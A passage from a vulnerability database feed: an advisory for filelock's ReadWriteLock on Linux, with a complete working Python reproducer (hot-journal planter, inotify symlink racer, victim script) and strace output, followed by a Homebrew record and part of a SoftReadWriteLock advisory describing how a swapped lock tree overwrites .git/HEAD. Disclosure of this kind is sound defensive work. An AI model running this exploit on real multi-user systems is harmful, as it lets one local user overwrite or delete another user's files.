(verified), which passed the lock path straight to `sqlite3.connect`.\n\n## Mechanism\n\nOn Linux the lock opens the database with `O_RDWR|O_CREAT|O_NOFOLLOW|O_NONBLOCK`. It checks through the descriptor that the file is a regular file and not a WAL database. It then calls `sqlite3.connect(\"/proc/self/fd/<n>\")` and expects SQLite to reopen the validated inode. SQLite does not open that name. It runs `readlink()` on it, which yields the path string the kernel reports for the descriptor at that moment, and opens that string by path, following every symlink. Without interference the trace shows `readlink(\"/proc/534/fd/3\") = \"/tmp/benign/app.lock.db\"` and then a second `openat` of that path. The descriptor contributes only a string. Once the directory entry behind the descriptor is gone, the string is `<database> (deleted)`. A symlink with that exact name sends SQLite wherever its creator chose.\n\nThe other user prepares the directory before the lock user runs. They create a database `cache.lock.db` (`0666`, so the lock user's lock accepts it) with a second hard link `cache.lock.db.keep`, and the symlink `cache.lock.db (deleted) -> /tmp/victim-notes.txt`. The lock user's `os.open` raises an inotify `IN_OPEN` event. The other user unlinks `cache.lock.db` and links `cache.lock.db.keep` back under the same name. The lock user's descriptor still refers to the unlinked entry, so `/proc/self/fd/3` now reads `/tmp/shared-cache/cache.lock.db (deleted)`. `sqlite3.connect` resolves it, follows the symlink and opens the target `O_RDWR|O_CREAT`. None of filelock's checks look at that file. `_open_lock_database` and `_raise_if_wal` inspect descriptor 3. `_raise_if_database_replaced` compares an `lstat` of the lock path with the descriptor's `(st_dev, st_ino)`, which passes because the other user linked the same inode back, and it runs only after `BEGIN`.\n\nThe damage comes from the first statement, `PRAGMA journal_mode=MEMORY`. SQLite finds `<target>-journal`, treats it as the rollback journal of an interrupted transaction, and copies its page records into the target before it checks whether the target is a database at all. The journal header supplies the page size and the page count SQLite resizes the file to. Whoever wrote the journal computed the per-page checksum. The content from offset 0 and the final length are therefore the other user's. Strace of the lock user's process (SQLite 3.40.1):\n\n```\nopenat(\"/tmp/shared-cache/cache.lock.db\", O_RDWR|O_CREAT|O_NONBLOCK|O_NOFOLLOW|O_CLOEXEC, 0600) = 3\nreadlink(\"/proc/3819/fd/3\", \"/tmp/shared-cache/cache.lock.db (deleted)\", 4096) = 41\nreadlink(\"/tmp/shared-cache/cache.lock.db (deleted)\", \"/tmp/victim-notes.txt\", 4096) = 21\nopenat(\"/tmp/victim-notes.txt\", O_RDWR|O_CREAT|O_NOFOLLOW|O_CLOEXEC, 0644) = 4\nopenat(\"/tmp/victim-notes.txt-journal\", O_RDWR|O_NOFOLLOW|O_CLOEXEC) = 5\npread64(5, \"ATTACKER CONTENT WRITTEN BY THE \"..., 4096, 516) = 4096\npwrite64(4, \"ATTACKER CONTENT WRITTEN BY THE \"..., 4096, 0) = 4096\nunlink(\"/tmp/victim-notes.txt-journal\") = -1 EPERM            -> \"disk I/O error\"\n```\n\nThe redirect itself needs no journal. The constructor's validation connection already makes SQLite open the target with `O_CREAT`. With the symlink pointing at a missing path in the lock user's home, constructing the lock created that file (empty, `0644`, owned by the lock user) and raised nothing. With the symlink pointing at a `0600` WAL-mode SQLite database of the lock user, `write_lock()` returned without error and the database's header bytes 18 and 19 changed from `2 2` to `1 1`. The pragma converted the lock user's database out of WAL mode, and the redirected acquire held its SQLite lock on that database rather than on the lock database.\n\n**Side-file names beside the database.** Two comments record the belief that SQLite names its side files after the descriptor path ([line 63](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L63), [line 1095](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L1095)). The path is not synthetic to SQLite. It derives `<database>-journal`, `<database>-wal` and `<database>-shm` from the resolved real path in the shared directory. `journal_mode=MEMORY` governs only journals SQLite would write, not ones it finds. These variants need no redirect.\n\n*A hot `-journal` makes the lock user unlink a file the journal names; no race.* The other user unlinks the lock user's empty `lock.db`, puts a one-page SQLite database (`0666`) in its place, and writes a 46-byte `lock.db-journal`: a path, its 4-byte length, the 4-byte sum of its bytes and SQLite's journal magic. SQLite treats a journal beside a non-empty database as hot (left by an interrupted transaction). The tail names a \"super-journal\", and recovery ends by unlinking that file. The lock user's next `read_lock()` or `write_lock()` returns without error and the named file is gone (`unlink(\"/home/victim/private/notes.txt\") = 0`, from a `0700` directory of the lock user). The named file must be a non-empty regular file the lock user can read and unlink. A FIFO planted as `lock.db-journal` instead blocks `read_lock(timeout=2)` in SQLite's `open()` of the journal (still blocked when killed after 10 s).\n\n*A re-planted `-wal` puts the holder in WAL mode past `_raise_if_wal`.* `_raise_if_wal` checks header bytes 18 and 19. Whenever a connection takes its first lock, SQLite stats `<db>-wal`, and if that file and the database are both non-empty it opens the WAL whatever the header says. The pragma at line 816 converts such a database and unlinks `-wal` and `-shm`. The `BEGIN` at line 833 is a separate statement that starts unlocked and stats `<db>-wal` again. Re-creating the 32-byte `-wal` in that gap landed on the first attempt in 20 of 20 runs on a 2-CPU machine.\n\nThe lock user's `with lock.write_lock():` then holds the `-shm` byte-120 WAL write lock and only SHARED on the database. Once the other user removes the `-wal`, a second process of the lock user gets `read_lock(timeout=1)` granted while the writer is inside its block, with no exception on either side. SQLite also creates `<db>-shm` with the database's permission bits (`0666`) and keeps it mapped into memory. After the other user truncates it, the writer dies with `SIGBUS` (the signal for touching a mapped file region that no longer exists) in `connection.rollback()` during `release()`.\n\n*A `-wal` in a sticky directory makes every acquire raise; no race, no access to the database.* Beside the lock user's own empty `0600` database, a non-empty `<db>-wal` (one byte, any mode; a directory or FIFO works too) is a leftover SQLite tries to delete. In a `1777` directory the lock user cannot unlink another user's file (`unlink(...) = -1 EPERM`), so the pragma fails with `SQLITE_IOERR_DELETE`. The code in [`_do_acquire_inner`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L763) translates only \"database is locked\" into `Timeout`. `sqlite3.OperationalError: disk I/O error` therefore leaves every `acquire_read()` / `acquire_write()` (and the async variants) within milliseconds, whatever `timeout` or `blocking` says, until the file's owner or root removes it.\n\n*Further effects observed at this commit in a non-sticky directory.* A `0755` script owned by the lock user, renamed to the lock path with a one-record journal beside it, ends up holding the other user's bytes (the acquire raises `file is not a database`). A hard link to the lock user's `0600` `~/.profile` at the lock path does the same in a sticky `/tmp` when `fs.protected_hardlinks=0`. When the locking process runs as root, SQLite runs `fchown` on a `-wal` or `-shm` it opens to match the owner of the database, so root's `0600` `service.env` renamed to `app.lock.db-wal` belonged to the other user after root's `read_lock()`.\n\nA journal whose super-journal names the database itself makes SQLite open and close a second descriptor on the database, which drops the process's POSIX locks, so `acquire_read` returns with no lock held in `/proc/locks` and a writer in another process acquires (two journals in a row, one per statement; write locks are not affected). A one-byte `lock.db-wal` plus a `lock.db-shm` on which the other user holds two byte locks makes the acquire take 10 s regardless of `timeout` and raise `locking protocol`, or die with `SIGBUS` if the other user truncates the `-shm`.\n\n**The hard-link route in a directory without the sticky bit.** None of the above occurs on the `_link_beside` branch (macOS, Linux without `/proc`). There SQLite's main file is `.filelock-…/lock.db` in the connecting user's `0700` directory. That protection holds only where no other user can rename the `.filelock-*` entry itself, because `0700` protects the contents, not the entry in the parent. `_link_beside` checks the link once and returns a pathname, and every later use is by that name.\n\nWith `/proc` hidden in a `0777` directory, the other user staged a directory holding a hard link `lock.db` to a one-page database and a hot `lock.db-journal`. They held `BEGIN EXCLUSIVE` on the database so the lock user's first statement waited in the busy handler (SQLite's retry loop for a locked database), renamed the lock user's `.filelock-*` directory aside, renamed the staged directory onto its name and rolled back. SQLite got SHARED, found the journal under the swapped name and unlinked the file it named. The lock user's process reported the lock held and exited 0. A polling variant without the write lock also won (in 40 trials the file was gone after 1 to 26 starts of the lock user's program). Under the sticky bit the rename fails with `EPERM`.\n\n## Reproduction\n\nThe scanner's reproducer for `ANT-2026-KMJ2575J`, quoted as received. It ran against commit `b831496b0273`.\n\n**`repro`**\n\n```python\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\nimport sys\n\nas_victim = {\"user\": \"victim\", \"group\": \"victim\", \"extra_groups\": []}\nas_attacker = {\"user\": \"attacker\", \"group\": \"attacker\", \"extra_groups\": []}\n\n# set up: the lock database lives in a shared cache directory, 0777 and not sticky\nshared_dir = \"/tmp/shared-cache\"\nlock_db = shared_dir + \"/cache.lock.db\"\nshutil.rmtree(shared_dir, ignore_errors=True)\nos.mkdir(shared_dir)\nos.chmod(shared_dir, 0o777)\n\n# set up: a private 0600 file of the victim's in sticky /tmp, which the attacker cannot write\ntarget = \"/tmp/victim-notes.txt\"\nfor leftover in (target, target + \"-journal\"):\n    if os.path.lexists(leftover):\n        os.unlink(leftover)\noriginal = b\"original victim notes\\n\"\nwith open(target, \"wb\") as notes:\n    notes.write(original)\nshutil.chown(target, \"victim\", \"victim\")\nos.chmod(target, 0o600)\ndirect_write = subprocess.run(\n    [sys.executable, \"-c\", \"import sys; open(sys.argv[1], 'r+b')\", target], capture_output=True, text=True, **as_attacker\n)\nprint(\"attacker opening the target for writing:\", direct_write.stderr.strip().splitlines()[-1])\nassert direct_write.returncode != 0\n\n# attack: a hot journal beside the target, and a redirect of the victim's SQLite from the lock database to the target\ncontent = \"ATTACKER CONTENT WRITTEN BY THE VICTIM'S ReadWriteLock\\n\"\nsubprocess.run([sys.executable, \"/tmp/repro.d/plant_hot_journal.py\", target, content], check=True, **as_attacker)\nredirect = subprocess.Popen(\n    [sys.executable, \"/tmp/repro.d/redirect_lock_db.py\", lock_db, target], stdout=subprocess.PIPE, text=True, **as_attacker\n)\nassert redirect.stdout.readline() == \"ready\\n\"\n\n# the victim takes its read lock; the attacker races each acquire, so the victim runs up to 20 times\nfor run in range(1, 21):\n    victim = subprocess.run(\n        [sys.executable, \"/tmp/repro.d/victim_app.py\", lock_db], capture_output=True, text=True, timeout=60, **as_victim\n    )\n    with open(target, \"rb\") as notes:\n        after = notes.read()\n    if after != original:\n        break\nredirect.kill()\nredirect.wait()\n\n# check: taking a lock on cache.lock.db must leave the victim's notes alone\nprint(f\"victim run {run}: exit status {victim.returncode}:\", (victim.stderr.strip() or \"no error\").splitlines()[-1])\nstatus = os.stat(target)\nprint(\"target owner, mode, size:\", status.st_uid, oct(status.st_mode & 0o7777), status.st_size)\nprint(\"target before:\", original)\nprint(\"target after: \", after[:60])\nprint(\"BUG\" if after == content.encode().ljust(4096, b\"\\0\") else \"OK\")\n```\n\n**`repro.d/plant_hot_journal.py`**\n\n```python\n#!/usr/bin/env python3\n\"\"\"The attacker: leave a rollback journal beside TARGET whose one record restores TARGET's first page to CONTENT.\"\"\"\n\nimport os\nimport struct\nimport sys\n\ntarget, content = sys.argv[1], sys.argv[2].encode()\njournal_path = target + \"-journal\"\n\n# https://www.sqlite.org/fileformat2.html#the_rollback_journal\nJOURNAL_MAGIC = bytes.fromhex(\"d9d505f920a163d7\")\npage_size, sector_size, nonce = 4096, 512, 0x11223344\nrecord_count = 1\npages_after_rollback = 1  # SQLite truncates TARGET to this many pages\nheader = JOURNAL_MAGIC + struct.pack(\">IIIII\", record_count, nonce, pages_after_rollback, sector_size, page_size)\n\npage_number = 1  # page 1 starts at offset 0\npage_image = content.ljust(page_size, b\"\\0\")\n# SQLite's pager_cksum(): the nonce plus every 200th byte, counting down from page_size - 200\nchecksum = (nonce + sum(page_image[i] for i in range(page_size - 200, 0, -200))) & 0xFFFFFFFF\nrecord = struct.pack(\">I\", page_number) + page_image + struct.pack(\">I\", checksum)\n\nwith open(journal_path, \"wb\") as journal:\n    journal.write(header.ljust(sector_size, b\"\\0\") + record)\nos.chmod(journal_path, 0o666)  # the victim's SQLite opens a hot journal O_RDWR\n```\n\n**`repro.d/redirect_lock_db.py`**\n\n```python\n#!/usr/bin/env python3\n\"\"\"The attacker: make the victim's SQLite, connecting through /proc/self/fd/<n>, open TARGET instead of LOCK_DB.\"\"\"\n\nimport ctypes\nimport os\nimport sys\n\nlock_db, target = sys.argv[1], sys.argv[2]\nspare_name = lock_db + \".keep\"\n\n# the attacker creates the lock database, world-writable so that the victim's ReadWriteLock accepts it\nos.close(os.open(lock_db, os.O_CREAT | os.O_WRONLY))\nos.chmod(lock_db, 0o666)\nos.link(lock_db, spare_name)\n\n# what /proc/<pid>/fd/<n> reads back as once the name the descriptor was opened through is unlinked\nos.symlink(target, lock_db + \" (deleted)\")\n\nIN_OPEN = 0x20\nlibc = ctypes.CDLL(None, use_errno=True)\ninotify = libc.inotify_init1(0)\nif libc.inotify_add_watch(inotify, lock_db.encode(), IN_OPEN) < 0:\n    raise OSError(ctypes.get_errno(), \"inotify_add_watch\", lock_db)\nprint(\"ready\", flush=True)\n\nwhile True:\n    os.read(inotify, 4096)  # the victim's ReadWriteLock has opened the database and is validating its descriptor\n    os.unlink(lock_db)\n    os.link(spare_name, lock_db)  # the same inode back at the path, so filelock's later lstat sees no change\n```\n\n**`repro.d/victim_app.py`**\n\n```python\n#!/usr/bin/env python3\n\"\"\"The victim: an application that takes its shared read lock once, as in docs/how-to.rst.\"\"\"\n\nimport sys\n\nfrom filelock import ReadWriteLock\n\nrw = ReadWriteLock(sys.argv[1])\nwith rw.read_lock(timeout=5):\n    pass\n```\n\n## Attack sequence\n\nThe redirect, with `A` the other local user:\n\n```mermaid\nsequenceDiagram\n    participant A as other local user\n    participant V as lock user's process (filelock)\n    participant S as SQLite inside that process\n    participant K as kernel and filesystem\n    rect rgb(255, 214, 214)\n        Note over A,K: filelock 4.0.9 to 4.2.0 on Linux, lock directory 0777 without the sticky bit\n        A->>K: create cache.lock.db (0666) and a second hard link cache.lock.db.keep\n        A->>K: symlink \"cache.lock.db (deleted)\" pointing at /tmp/victim-notes.txt\n        A->>K: write /tmp/victim-notes.txt-journal (hot rollback journal, one page record)\n        V->>K: open(cache.lock.db, O_RDWR O_CREAT O_NOFOLLOW) gives fd 3, fstat says regular, header not WAL\n        K-->>A: inotify IN_OPEN on cache.lock.db\n        A->>K: unlink(cache.lock.db) then link(cache.lock.db.keep, cache.lock.db)\n        V->>S: sqlite3.connect(\"/proc/self/fd/3\")\n        S->>K: readlink(/proc/self/fd/3) returns \"cache.lock.db (deleted)\"\n        S->>K: open(\"cache.lock.db (deleted)\") follows the symlink to victim-notes.txt\n        V->>S: PRAGMA journal_mode=MEMORY\n        S->>K: open(victim-notes.txt-journal), pread page 1, pwrite it at offset 0 of victim-notes.txt\n        Note over V,K: victim-notes.txt (0600, 22 bytes) is now the other user's 4096-byte page image, the lock user sees \"disk I/O error\"\n        V->>K: lstat(cache.lock.db) matches fd 3 identity, so _raise_if_database_replaced passes\n    end\n```\n\nThe side-file variants, which need no redirect:\n\n```mermaid\nflowchart TD\n    B0[\"acquire validates fd, connects SQLite by a name in the shared directory\"] --> B1{\"what did the other user put beside the real path?\"}\n    B1 -- \"hot -journal beside a swapped-in one-page database\" --> B2[\"PRAGMA replays the journal, then unlinks the super-journal file it names, acquire succeeds\"]\n    B1 -- \"-wal re-created between PRAGMA and BEGIN\" --> B3[\"holder in WAL mode, reader admitted beside the writer, SIGBUS when -shm is truncated\"]\n    B1 -- \"-wal in a sticky directory the lock user cannot unlink\" --> B4[\"every acquire raises OperationalError disk I/O error, timeout ignored\"]\n    B1 -- \"name unlinked and a (deleted) symlink planted\" --> B5[\"SQLite opens the symlink target with O_CREAT\"]\n    classDef ok fill:#d8f3dc,stroke:#2d6a4f,color:#1b4332;\n    classDef bad fill:#ffd6d6,stroke:#c1121f,color:#5c0000;\n    classDef info fill:#cfe4ff,stroke:#1f6feb,color:#0b1f3a;\n    class B0,B1 info;\n    class B2,B3,B4,B5 bad;\n```\n\n## Evidence\n\nThe scanner's reproducer runs the documented `ReadWriteLock(path)` + `with rw.read_lock(timeout=5):` as user `victim` against `/tmp/shared-cache/cache.lock.db` (directory `0777`, not sticky) while user `attacker` holds the symlink and reacts to inotify. It first shows that `attacker` cannot write the target (`PermissionError: [Errno 13] Permission denied: '/tmp/victim-notes.txt'`). On the first `victim` run it prints `victim run 1: exit status 1: sqlite3.OperationalError: disk I/O error`, `target owner, mode, size: 1000 0o600 4096`, target before `b'original victim notes\\n'`, after `b\"ATTACKER CONTENT WRITTEN BY THE VICTIM'S ReadWriteLock\\n\\x00...\"`, verdict `BUG`. Reacting to inotify redirected the first acquire in 77 of 77 runs. A plain unlink/link busy loop with no inotify also won on the first run. A process holding two `ReadWriteLock` instances on one database keeps an idle descriptor; a swap done a full second before the second acquire redirected it. The `-wal` re-plant landed on the first attempt in 20 of 20 runs. The journal-unlink variant needs no race.\n\nOur verification: the reproducer prints `BUG` on the scanned commit `b831496` and on the 4.2.0 image (`e2e7d70`). On the PR #834 head it prints `OK`: all 20 `victim` runs exit 0 with no error and the target stays `1000 0o600 22` bytes with its original content. The independent review also ran the sticky-directory `-wal` variant (a `0600` database owned by `victim` in a `1777` directory, other user plants `<db>-wal`). 4.2.0 raises `OperationalError: disk I/O error`; the PR head takes read and write locks with the file still present.\n\n## Impact\n\nAnother local user who can write the non-sticky directory holding the database makes the lock user's process act on a file other than the lock database, with the lock user's privileges, on Linux. The process writes bytes of the other user's choosing from offset 0 into any non-empty regular file the lock user can write, resized to a whole number of pages, provided the other user can create `<file>-journal` beside it (the lock user's own `0600` files in `/tmp` qualify). Without a journal the process creates an empty file at any path it may create, or converts a WAL-mode SQLite database of its own to rollback mode with no error. A journal beside a swapped-in database makes the process unlink one regular file of the other user's choosing per journal; the acquire succeeds and raises nothing. A process inside `write_lock()` stops excluding the lock user's other processes from `read_lock()`, and the holder can die from a `SIGBUS` that arrives in `release()`.\n\nIt is **not** reachable for a database the lock user owns in `/tmp` with `fs.protected_regular` 1 or 2. There only the planted `-wal` denial of service remains: every acquire raises an undocumented `sqlite3.OperationalError` that `Timeout` and `OSError` handlers do not catch. It is a bypass of the fix for GHSA-j8f7-rjxc-mr56 (4.0.9), which refused the symlink at the database path but followed it at `<database> (deleted)`. Windows does not take this path.\n\n## Workarounds\n\n- Keep the `ReadWriteLock` database in a directory that only the locking account (or root) can write, with no group or other write bit. Make sure every ancestor belongs to that account or root and is either not writable by others or sticky. Do not share one `ReadWriteLock` database between accounts through a `0777` or group-writable directory. The lock creates its database `0600`, and leaving it that way keeps other accounts from supplying its content.\n- For a lock in a sticky directory keep `fs.protected_regular` at 1 or 2 and `fs.protected_hardlinks=1` (distribution defaults). Treat a sudden `sqlite3.OperationalError: disk I/O error` on every acquire as a foreign `<db>-wal` beside the database that the file's owner or root has to remove.\n\n## Patched version\n\n4.2.1.\n\nFix: https://github.com/tox-dev/filelock/pull/834\n\n## Credits\n\nReported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.\n\n- 2026-10-15 23:08 UTC: report received (scan `filelock-20261015-005` of commit `b831496b0273`)\n- 2026-10-16 00:46 UTC: draft advisory created\n- 2026-10-16 01:15 UTC: fix PR #834 opened","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H"}],"references":[{"type":"WEB","url":"https://github.com/tox-dev/filelock/security/advisories/GHSA-v4x8-3wr5-3wq8"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112940"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/pull/834"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/commit/5e3f2ec0c5fb17cb2635b60b2b68bc63ab81ca2d"},{"type":"PACKAGE","url":"https://github.com/tox-dev/filelock"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/releases/tag/4.2.1"}]},{"schema_version":"1.7.3","id":"BREW-ansible-lint-CVE-2026-112941","published":"2026-10-29T21:31:26Z","modified":"2026-11-08T08:37:05Z","upstream":["GHSA-wfhq-q4j2-c37m","CVE-2026-112941"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible-lint","purl":"pkg:brew/ansible-lint"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"26.10.0"},{"fixed":"26.10.1_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"4.2.1","resource":"filelock","resource_purl":"pkg:pypi/filelock@4.2.9"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"filelock","subject_version":"4.2.9","key":"pkg:pypi/filelock@4.2.9","resource":"filelock"}]},"summary":"filelock: SoftReadWriteLock follows a lock tree swapped in after its first acquire and writes lock records into directories of the user running the lock","details":"`SoftReadWriteLock` (and `AsyncSoftReadWriteLock`, which wraps one) checks once per lock object, by name, that `<path>.rw`, `<path>.rw/gen` and `<path>.rw/holders` are real directories and not symbolic links (files that redirect to another path). It then keeps only a boolean. Every later record operation resolves the full path again, and `O_NOFOLLOW` (a flag that makes an open fail when the final name is a symbolic link) protects the last component only. Another local user (the other user below) who can write the directory holding the lock, or who created `<path>.rw` first in a sticky directory such as `/tmp` (the sticky bit is a directory flag that lets only a file's owner rename or remove it), can put a tree under that name whose `gen` or `holders` is a symbolic link into a directory of the user running the lock (the lock user below).\n\nA long-running process of the lock user that has already passed the check then creates, renames over and deletes files there with the lock user's privileges, including in `0700` directories the other user cannot open. The names and bytes are filelock's own lock records, not chosen by the other user. The scanner's reproducer replaces `.git/HEAD` in the lock user's private repository so that `git status` fails. There is no race. Affected versions: filelock >= 4.1.0 and <= 4.2.0. Anthropic's OSS Scanner reported it in private as `ANT-2026-WXXRI4M4` [high, CWE-367], titled \"SoftReadWriteLock follows gen dir swapped for a symlink after first acquire\".\n\n## Severity\n\n**CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N, 3.3 (Low).**\n\n`AV:L` (local): the other user needs an account on the same host. `AC:L` (low attack complexity): the swap happens between two acquisitions, with no race to win. `PR:L` (low privileges): a local user with ordinary privileges is enough. `UI:N` (no user interaction): the lock user's process acts on its own. `C:N` (no confidentiality impact): the other user learns nothing. `I:L` (low integrity impact): the lock user's process replaces a file named `HEAD`, creates `epoch` and generation records, and deletes files whose names match the protocol's patterns, in any directory the lock user can write, with the lock user's privileges. The other user does not choose the bytes, but the files are gone and the chosen directory (a git repository) stops working. `A:N` (no availability impact): the lock itself keeps working and the lock user's process does not stall. The scanner rated it high; we scored the vector for a lock user with ordinary privileges.\n\nClassification from the external review: conditional security. It is a cross-user replacement of a cached `.rw` tree that redirects later writes of the lock user through an intermediate symbolic link. It needs a planted tree in sticky `/tmp` or a writable parent without the sticky bit. Scoring note: we rate integrity low rather than high. The bytes written through the swapped tree are filelock's own records, not content the other user chose, so the lower reading of the CVSS integrity metric applies.\n\n## Scope and preconditions\n\n- Trust boundary: the other party is a different local account with write access to the lock's parent directory. Without the sticky bit (a `0777` scratch or spool directory, or a group-writable project or cache directory shared with that account's group) write access alone is enough. The other user renames the lock user's own `0700` `<path>.rw` aside and puts its tree in place. In a sticky parent such as `/tmp` the extra precondition is that it created `<path>.rw` (with real `gen` and `holders` directories, mode `0777`) before the lock user's first acquire. `prepare()` accepts an existing tree whoever owns it, and the other user later replaces its own `gen` with a symbolic link. `fs.protected_symlinks=1` (a Linux setting that refuses to follow another user's symbolic link in a world-writable sticky directory) does not intervene, because the link sits inside the other user's own non-sticky `<path>.rw`, not in the sticky parent (the scanner ran with that setting).\n- Lock user: any process that keeps one `SoftReadWriteLock` or `AsyncSoftReadWriteLock` object (a singleton per path by default) and acquires it more than once, or is waiting for it when the swap happens. A fresh process that meets the planted tree gets `RuntimeError`. Between two acquisitions there is no timing to win.\n- Targets: any directory the lock user can write, on any filesystem. The other user needs only to know its path (`/home/victim/project/.git` in the reproducer, under a `0700` home directory the other user cannot open).\n- Platform: observed on Linux. The code path is the same on every POSIX platform and on Windows, where a junction (a Windows directory that points at another directory) at a directory component plays the symbolic link's part. The scanner ran Linux only.\n- Ancestor boundary: protection against another local user is possible only while no other user can replace the lock's directory or any of its ancestors. That is the case when each ancestor belongs to the lock user or root and is either not writable by others or sticky. A user who can rename entries in a non-sticky directory above the lock controls every name below it. No file-based lock can defend against that.\n\n## Affected code\n\nAt the scanned commit `b831496b0273`, [`OsFiles.prepare` checks the three directories with `lstat` and caches `_prepared`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_storage.py#L121-L133). `lstat` reports what a name is without following a symbolic link. Every later operation takes a full path string, for example [`create`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_storage.py#L53-L60) (`O_NOFOLLOW` on the last component only), [`replace`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_storage.py#L86-L92) (`Path(source).replace(target)`), [`unlink`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_storage.py#L104-L112) and [`listdir`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_storage.py#L114-L119). The callers that write through the swapped tree are [`Participant.publish` / `_create_holder`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_protocol.py#L435-L445), [`GenerationLog._incarnation`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_protocol.py#L282-L295) (creates `epoch`), [`commit`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_protocol.py#L344-L360) (links a generation record and renames over `HEAD`), [`_keep_claim_fresh`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_protocol.py#L487-L496), [`_sweep`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_protocol.py#L498) and [`_list`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_protocol.py#L297) (unlink). There is one `OsFiles` per lock object ([`_sync.py` line 204](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_sync.py#L204)), handed to every `Participant` at [line 501](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_sync.py#L501).\n\n## Introduced\n\nThe once-per-object shortcut (`_prepared`) came with `367b111` (\"fix(soft-rw): publish the head through gen/HEAD (#799)\", 2026-10-08), first released in 4.1.0 (verified with `git tag --contains 367b111`, which answers 4.1.0). That commit opens the route between two acquisitions with no timing to win. The check-then-use gap itself is older. At its parent `61582c5` (also first in 4.1.0) a contender already waiting during the swap still creates `epoch` in the target before the lock refuses it, while 4.0.0 leaves the target untouched in the same test. The group advisory carried `>= 4.0.0` as the union with a sibling finding; for this finding alone the range is `>= 4.1.0, <= 4.2.0`.\n\n## Mechanism\n\n`prepare()` runs `mkdir(mode=0o700)` and then `lstat()` on each of `<path>.rw`, `gen` and `holders`. It raises `RuntimeError(\"... exists but is not a directory or is a symlink; refusing to use it\")` for a symbolic link or non-directory. It does this by name, once per `OsFiles` (`if self._prepared and not force: return`), and only a `FileNotFoundError` while creating the holder record (the file that says this process holds or wants the lock) leads to `prepare(force=True)`. All other `OsFiles` methods (`read`, `create`, `link`, `replace`, `overwrite`, `unlink`, `listdir`) take a full path string such as `/srv/shared/app.lock.rw/gen/HEAD`. `O_NOFOLLOW` applies to `HEAD`, and the kernel follows `app.lock.rw` and `gen` to whatever they name at that moment. The gap between the check and a use is therefore as long as the process keeps the lock object.\n\nThe scanner observed this at the scanned commit on Linux 6.1, CPython 3.14.8, overlayfs, with a default-options `SoftReadWriteLock`, as two accounts in `/srv/shared` (root-owned, mode `0777`, no sticky bit):\n\n1. `victim` runs a worker that builds `SoftReadWriteLock(\"/srv/shared/app.lock\")` once and takes `write_lock()` for each job. After the first job, `app.lock.rw` exists, owned by `victim`, mode `0700`.\n2. `attacker` renames `app.lock.rw` to `app.lock.rw.aside`, creates a new `app.lock.rw` with a world-writable `holders/` in it, and makes `app.lock.rw/gen` a symbolic link to `/home/victim/project/.git`. `/home/victim/project` is mode `0700`; the `attacker` account cannot open anything below it.\n3. The worker takes the lock for its second job. `write_lock()` returns without error. `/home/victim/project/.git` now holds new files `epoch`, `00000000000000000001` and `00000000000000000002`, and `<epoch>\\nfilelock-rw/1\\ngeneration=2\\n` has replaced the content of `.git/HEAD`. `git status` there answers `fatal: not a git repository`.\n\nThe second acquisition, step by step: `Participant.publish()` calls `prepare()`, which returns at once, then creates `holders/<token>`. The planted tree has a writable `holders`, so this succeeds. `advance()` calls `GenerationLog.latest()` (the generation log is the lock's ordered record of write generations under `gen/`). `_incarnation()` reads `gen/epoch`, finds none behind the link, and creates `.git/epoch`. The epoch differs from the remembered one, so the code drops the remembered log. git's `HEAD` does not start with the new epoch, so `_head_record()` ignores it and the log reads as empty. `commit()` creates `.git/.commit-<token>`, hard-links it (a hard link is a second name for the same file) to `.git/00000000000000000001`, removes the temporary name, and publishes `HEAD` through `OsFiles.replace`, which is `rename(\".git/.commit-<token>\", \".git/HEAD\")`. The release commits generation 2 the same way and renames over `HEAD` again.\n\nOther ways into the same gap exist. The scanner ran each at this commit with a directory only the lock user can access as the link target. A contender already waiting when the swap happens recreates its missing holder record in the planted `holders/` on its next poll (`_keep_claim_fresh()`), and the commit that follows replaces `HEAD` in the target. A process that only holds and releases, with the tree swapped during the hold, creates `epoch` in the target on release. With `holders` as the link, `Participant._sweep()` (run on acquire polls and from a holder's `heartbeat()`) unlinks files in the target whose names are 32 lowercase hex digits once the 